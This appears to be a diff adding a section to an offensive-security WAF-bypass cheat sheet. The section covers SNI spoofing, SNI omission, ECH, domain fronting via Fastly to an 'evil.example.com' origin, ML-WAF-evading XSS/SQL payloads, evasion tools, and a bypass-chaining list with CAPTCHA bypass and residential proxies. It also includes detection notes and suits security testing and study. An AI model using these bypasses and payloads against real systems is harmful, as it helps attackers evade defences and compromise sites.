+ 2. Simultaneously, the client directs the actual TCP connection to the IP address of the target server (e.g., `198.51.100.23` for `blocked.example.org`).
592
+ 3. The HTTP `Host` header in the subsequent (encrypted) HTTP request might also be set to the actual target server (`blocked.example.org`).
593
+
594
+ **Examples:**
595
+
596
+ - **Using `openssl`**:
597
+
598
+ ```bash
599
+ # Connects to IP 198.51.100.23 (blocked.example.org)
600
+ # but presents 'allowed.example.com' as SNI
601
+ openssl s_client -connect 198.51.100.23:443 -servername allowed.example.com
602
+ ```
603
+
604
+ - **Using `curl`**:
605
+ ```bash
606
+ # Tells curl to connect to 198.51.100.23 (IP of blocked.example.org)
607
+ # for any request to allowed.example.com.
608
+ # The SNI will be 'allowed.example.com'.
609
+ # The Host header is explicitly set to 'blocked.example.org'.
610
+ curl -k --connect-to allowed.example.com::198.51.100.23 \
611
+ -H "Host: blocked.example.org" \
612
+ https://allowed.example.com
613
+ ```
614
+
615
+ - `-k`: Ignores certificate warnings (since the presented cert for `blocked.example.org` won't match `allowed.example.com`).
616
+ - `--connect-to host1:port1:host2:port2`: Resolves `host1:port1` to `host2:port2`. Here, `allowed.example.com` (default port 443) is directed to `198.51.100.23` (default port 443 if not specified after IP).
617
+ - `-H "Host: blocked.example.org"`: Sets the HTTP Host header for the application layer.
618
+
619
+ **Applicability & Proxy Types:**
620
+
621
+ - **Basic SNI Filters**: Effective against filters that only check the SNI value.
622
+ - **Transparent Proxies**: Can be effective as the client controls the DNS resolution (or IP choice) and the initial TLS handshake.
623
+ - **Explicit Proxies (Normal/Non-Transparent)**:
624
+ - Can still be effective. The client can specify the target IP address in the HTTP `CONNECT` request to the proxy.
625
+ - The client then performs the TLS handshake through the proxy, sending the spoofed SNI.
626
+ - Example with `curl` and an explicit proxy:
627
+ ```bash
628
+ curl --proxy http://proxy.internal:8080 -k \
629
+ --connect-to allowed.example.com::198.51.100.23 \
630
+ -H "Host: blocked.example.org" \
631
+ https://allowed.example.com
632
+ ```
633
+ - **Proxy Behavior Variance**: Some proxies might honor the IP in the `CONNECT` request, while others might resolve the hostname from the SNI themselves, potentially thwarting the bypass.
634
+ - **TLS Inspecting Proxies**: SNI spoofing can sometimes work even if the proxy performs TLS inspection, provided the proxy forwards the client's spoofed SNI and connects to the IP specified in the `CONNECT` request (rather than resolving the spoofed SNI).
635
+
636
+ **Limitations and Protections:**
637
+
638
+ - **SNI vs. Certificate Validation**: Advanced WAFs/filters compare the SNI with the Subject Alternative Name (SAN) or Common Name (CN) in the server's presented TLS certificate.
639
+ - If there's a mismatch, the connection might be flagged or dropped (e.g., FortiGate's "Server certificate SNI check" set to "Strict").
640
+ - **Bypassing Certificate Checks**: To bypass this, an attacker would need to control the server certificate of the target (`blocked.example.org`) to match the spoofed SNI (`allowed.example.com`). This could involve using a self-signed certificate for `allowed.example.com` on the attacker-controlled server.
641
+ - **Certificate Chain Verification**: Filters should always validate the entire certificate chain and reject connections with untrusted certificates (e.g., self-signed ones if not explicitly trusted by the filter/client policy).
642
+
643
+ - **Omitting SNI Bypass**:
644
+ - The SNI extension in the TLS `ClientHello` is optional according to RFC 6066.
645
+ - Clients can omit SNI by connecting directly to the server's IP address instead of using a hostname.
646
+ - **Mechanism**:
647
+ 1. Client establishes a TCP connection to the server's IP address.
648
+ 2. TLS handshake begins; `ClientHello` is sent without the SNI extension.
649
+ 3. The server might return a default certificate (e.g., for a generic CDN hostname), potentially causing a mismatch warning that the client might need to ignore (e.g., `curl --insecure`).
650
+ 4. The HTTP `Host` header in the encrypted request can still be set to the desired target hostname.
651
+ - **Example (`curl`)**:
652
+ ```bash
653
+ # Request to IP 151.101.194.133, no SNI sent.
654
+ # Spoofed Host header: compass-test.global.ssl.fastly.net
655
+ curl --insecure -v -H "Host: compass-test.global.ssl.fastly.net" https://151.101.194.133/index.html
656
+ ```
657
+ - **Impact**: This can bypass WAFs/proxies that rely on the presence of SNI for policy enforcement or domain fronting detection (which compares SNI to `Host` header).
658
+ - Explicit proxies might block direct IP connections in `CONNECT` requests if configured to do so.
659
+ - Transparent proxies might be more susceptible if they only inspect SNI.
660
+
661
+ - **Encrypted Client Hello (ECH) Bypass**:
662
+ - ECH (Encrypted Client Hello, successor to ESNI) encrypts most of the `ClientHello` message, including the SNI.
663
+ - This prevents network intermediaries (WAFs, proxies, ISPs) from snooping on the SNI and thus determining the intended destination server.
664
+ - If a WAF relies on SNI for filtering or routing, ECH effectively bypasses this by making the SNI unreadable.
665
+ - **Mitigation (Defensive)**: Defenders might choose to block ECH connections or attempt to strip ECH information from DNS `HTTPS` records. However, this can break legitimate ECH-enabled clients and has privacy implications.
666
+ - Note: ECH support is expanding in modern browsers; expect increased prevalence in 2025.
667
+
668
+ ### 19. Domain Fronting
669
+
670
+ Domain fronting is a technique to bypass web filters and censorship by masking the true destination of a connection. It leverages Content Delivery Networks (CDNs) by sending a request with an SNI (Server Name Indication) of a legitimate, allowed domain, while the HTTP `Host` header specifies a different, potentially blocked, domain that is also served by the same CDN.
671
+
672
+ **Mechanism:**
673
+
674
+ 1. The client initiates a TLS handshake with a CDN, using an SNI for an allowed domain (e.g., `allowed-via-cdn.com`).
675
+ 2. The web filter sees the connection to the CDN and the allowed SNI, potentially permitting the connection.
676
+ 3. The HTTP `Host` header within the encrypted TLS connection is set to the actual target server (e.g., `blocked-target.com`).
677
+ 4. If the CDN is configured to route requests based on the `Host` header and hosts both `allowed-via-cdn.com` and `blocked-target.com` (or is configured to proxy for `blocked-target.com` via a frontable domain), it forwards the request to `blocked-target.com`.
678
+ 5. The traffic appears to be for `allowed-via-cdn.com` at the network/TLS layer, but the content is served from `blocked-target.com`.
679
+
680
+ ```mermaid
681
+ sequenceDiagram
682
+ participant Alice as Alice (Attacker)
683
+ participant Firewall as Web Filter/Firewall
684
+ participant CDN as CDN Server
685
+ participant TargetServer as blocked-target.com
686
+ participant AllowedFront as allowed-via-cdn.com (front domain)
687
+
688
+ Alice->>Firewall: TLS Handshake (SNI: allowed-via-cdn.com, connects to CDN IP)
689
+ Firewall->>CDN: Forwards TLS Handshake (SNI: allowed-via-cdn.com)
690
+ Note over CDN: CDN handles TLS for allowed-via-cdn.com
691
+ CDN-->>Firewall: TLS Handshake Response
692
+ Firewall-->>Alice: TLS Handshake Response
693
+
694
+ Alice->>Firewall: HTTP Request (Host: blocked-target.com) [Encrypted in TLS]
695
+ Firewall->>CDN: Forwards Encrypted HTTP Request
696
+ Note over CDN: CDN decrypts, sees Host: blocked-target.com
697
+ CDN->>TargetServer: Proxies/Routes Request to blocked-target.com
698
+ TargetServer->>CDN: HTTP Response
699
+ CDN->>Firewall: HTTP Response [Encrypted in TLS]
700
+ Firewall->>Alice: HTTP Response
701
+
702
+ ```
703
+
704
+ **Key Points:**
705
+
706
+ - **CDN Dependency**: Relies on CDNs that route based on the `Host` header and do not strictly validate SNI against the `Host` header.
707
+ - **Legitimate SNI**: Uses a legitimate domain in the SNI, which often has a valid certificate issued by the CDN, making the initial TLS handshake appear valid.
708
+ - **Hidden Destination**: The actual destination (`Host` header) is hidden within the encrypted HTTP traffic.
709
+
710
+ **Example with `curl` and Fastly CDN:**
711
+
712
+ Fastly is a CDN known to allow domain fronting (at the time of the referenced article).
713
+
714
+ 1. **Setup Evil Server**: A server `evil.example.com` is set up.
715
+ 2. **Fastly Configuration**:
716
+ - Create a Fastly service.
717
+ - Set the origin to `evil.example.com`.
718
+ - Fastly provides a domain like `your-service.global.ssl.fastly.net`. This will be used in the `Host` header.
719
+ 3. **Find a Frontable Domain**: Find a legitimate domain (e.g., `frontable.example.org`) that is also served by Fastly and shares IP infrastructure with `your-service.global.ssl.fastly.net`.
720
+ 4. **Execute Domain Fronting**:
721
+ ```bash
722
+ # SNI will be frontable.example.org (allowed domain on Fastly)
723
+ # Host header is your-service.global.ssl.fastly.net (points to evil.example.com)
724
+ curl -H "Host: your-service.global.ssl.fastly.net" https://frontable.example.org/
725
+ ```
726
+
727
+ - The request goes to a Fastly IP.
728
+ - SNI is `frontable.example.org`, for which Fastly provides a valid certificate.
729
+ - `Host` header `your-service.global.ssl.fastly.net` tells Fastly to fetch content from `evil.example.com`.
730
+
731
+ **CDNs and Domain Fronting Stance:**
732
+
733
+ - **Allowing (Historically/Potentially)**: Fastly.
734
+ - **Blocking**: AWS CloudFront, Google Cloud CDN, Azure CDN. These CDNs typically check if the SNI and `Host` header match and block requests if they don't.
735
+ - Mixed: Some vendor POPs or partner edges may behave differently; validate per‑region behavior.
736
+
737
+ **Detection and Protection:**
738
+
739
+ - **SNI/Host Header Mismatch**: WAFs and proxies can detect domain fronting by comparing the hostname in the SNI with the `Host` header in the decrypted HTTP request. If they differ, the request can be flagged or blocked.
740
+ - **TLS Inspection**: This detection requires TLS inspection capabilities.
741
+ - **Limitations**: Even with detection, sophisticated attackers might find ways to bypass these checks, for example, by finding subdomains or services on allowed CDNs that have more relaxed policies.
742
+
743
+ ### 20. Evading ML-Based WAFs
744
+
745
+ ```bash
746
+ # 1. Semantic Evasion: Use synonyms and paraphrasing
747
+ # Instead of: <script>alert(1)</script>
748
+ # Try: <svg/onload=self[atob('YWxlcnQ='):](1)>
749
+
750
+ # 2. Adversarial Token Injection: Add noise tokens
751
+ <script>/*benign benign benign benign benign*/alert(1)</script>
752
+
753
+ # 3. Embedding Space Manipulation: Use non-ASCII lookalikes
754
+ <ѕcript>alert(1)</ѕcript> # Cyrillic 's' characters
755
+
756
+ # 4. Feature Engineering Bypass: Target low-weight features
757
+ # AI WAFs often ignore certain request parts
758
+ POST /upload
759
+ Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
760
+
761
+ ------WebKitFormBoundary
762
+ Content-Disposition: form-data; name="file"; filename="<script>alert(1)</script>"
763
+ # Payload in filename field (often not heavily weighted)
764
+
765
+ # 5. Context Confusion: Mix attack vectors
766
+ # Combine SQL injection syntax with XSS to confuse classifiers
767
+ '><script>alert(1)</script>' UNION SELECT 1--
768
+ ```
769
+
770
+ **Tools:**
771
+
772
+ - `ml-waf-evasion-toolkit` (2024) - Research tool for testing ML WAF robustness
773
+ - `adversarial-payload-generator` - Generates adversarial examples against WAF classifiers
774
+
775
+ ## Recommended Tools
776
+
777
+ ### WAF Fingerprinting Tools
778
+
779
+ - **WAFW00F** - The ultimate WAF fingerprinting tool with the largest fingerprint database
780
+ - **IdentYwaf** - A blind WAF detection tool using unique fingerprinting methods
781
+ - **Ja3er/ja4plus** - TLS fingerprint analysis and spoofing helpers
782
+
783
+ ### WAF Testing Tools
784
+
785
+ - **GoTestWAF** - Tests WAF detection logic and bypasses
786
+ - **Lightbulb Framework** - Python-based WAF testing suite
787
+ - **WAFBench** - WAF performance testing suite by Microsoft
788
+ - **Framework for Testing WAFs (FTW)** - Rigorous testing framework for WAF rules
789
+ - **WAF Testing Framework** - Testing tool by Imperva
790
+ - **graphql‑cop** – Fuzzer for GraphQL APIs with WAF bypass testing
791
+ - **GoReplay/Mitmproxy** – record & replay traffic through different network paths to compare WAF decisions
792
+
793
+ ### WAF Evasion Tools
794
+
795
+ - **WAFNinja** - Fuzzes and suggests bypasses for WAFs
796
+ - **WAFTester** - Tool to obfuscate payloads
797
+ - **libinjection-fuzzer** - Fuzzer for finding libinjection bypasses
798
+ - **bypass-firewalls-by-DNS-history** - Uses old DNS records to find origin servers
799
+ - **abuse-ssl-bypass-waf** - Finds supported SSL/TLS ciphers for WAF evasion
800
+ - **SQLMap Tamper Scripts** - Obfuscates SQL payloads to evade WAFs
801
+ - **Bypass WAF BurpSuite Plugin** - Adds headers to make requests appear internal
802
+ - **enumXFF** - Enumerates IPs in X-Forwarded-Headers to bypass restrictions
803
+ - **WAF Bypass Tool** - Open source tool from Nemesida
804
+ - **noble‑tls / uTLS / tls-client** – spoof browser‑grade TLS stacks programmatically
805
+
806
+ ## WAF Bypass Chaining
807
+
808
+ Combine multiple techniques for more effective bypassing:
809
+
810
+ 1. Use residential proxies
811
+ 2. Implement a fortified headless browser
812
+ 3. Add human-like behavior simulation
813
+ 4. Apply CAPTCHA bypass when needed
814
+ 5. Avoid honeypot traps
815
+ 6. Mix multiple encoding techniques
816
+ 7. Exploit request parsing inconsistencies
817
+ 8. Use ML-generated payloads that evade signature detection
818
+ 9. Align TLS/JA3 with real browsers and switch to HTTP/3 where inspection is weaker
819
+ 10. Pivot to origin when feasible; fall back to stealth browser automation with humanization
820
+